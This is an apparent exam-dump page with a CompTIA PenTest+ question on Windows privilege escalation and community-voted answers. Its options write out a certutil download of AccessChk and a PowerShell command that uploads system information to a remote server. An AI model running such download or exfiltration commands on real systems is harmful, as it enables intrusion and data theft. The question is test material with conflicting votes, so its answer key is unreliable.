exam questions

Exam PT0-002 All Questions

View all questions & answers for the PT0-002 exam

Exam PT0-002 topic 1 question 324 discussion

Actual exam question from CompTIA's PT0-002
Question #: 324
Topic #: 1
[All PT0-002 Questions]

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester start this process?

  • A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe
  • B. powershell (New-Object System.Net.WebClient).UploadFile(‘http://192.168.2.124/upload.php’, ‘systeminfo.txt’)
  • C. schtasks /query /fo LIST /v | find /I “Next Run Time:”
  • D. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe
Show Suggested Answer Hide Answer
Suggested Answer: A 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
041ba31
10 months, 3 weeks ago
Selected Answer: A
This command uses certutil, a command-line utility that can be used to manage certificates in Windows, to download a file from a specified URL. In this context, the file being downloaded is accesschk64.exe, a utility from Sysinternals that can be used to check for misconfigured service permissions. By downloading AccessChk, the penetration tester can start checking services on the Windows server for any misconfigurations that might be exploitable for privilege escalation.
upvoted 3 times
...
041ba31
10 months, 4 weeks ago
Selected Answer: A
The certutil command is used to download files from a specified URL, in this case, AccessChk, a tool by Sysinternals that can check misconfigured service permissions, aiding in privilege escalation efforts
upvoted 1 times
...
Big_Dre
11 months ago
Selected Answer: A
Option A is the most relevant command for a penetration tester looking to explore misconfigured service permissions. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/accesschk64.exe This command downloads a tool called accesschk64.exe, which is used for checking permissions, specifically for Windows binaries. This would allow the tester to analyze the permissions of various services and binaries on the Windows server, potentially identifying misconfigurations that could be exploited. Option B uploads a systeminfo.txt file to a remote server, which is not relevant to exploring service permissions. Option C queries scheduled tasks and looks for the next run time, which might not directly relate to exploring service permissions. Option D uses wget to download accesschk64.exe, similar to Option A, but lacks the splitting and caching functionality provided by certutil, making it less optimal.
upvoted 1 times
...
Rezaee
11 months, 1 week ago
Selected Answer: A
A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe
upvoted 1 times
...
randompentesteruser
11 months, 1 week ago
Selected Answer: D
Option D : the wget command allows you to download the accesschk.exe to explore system configurations and permissions.
upvoted 1 times
yeti87
10 months, 4 weeks ago
wget is not a default windows tool
upvoted 2 times
...
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...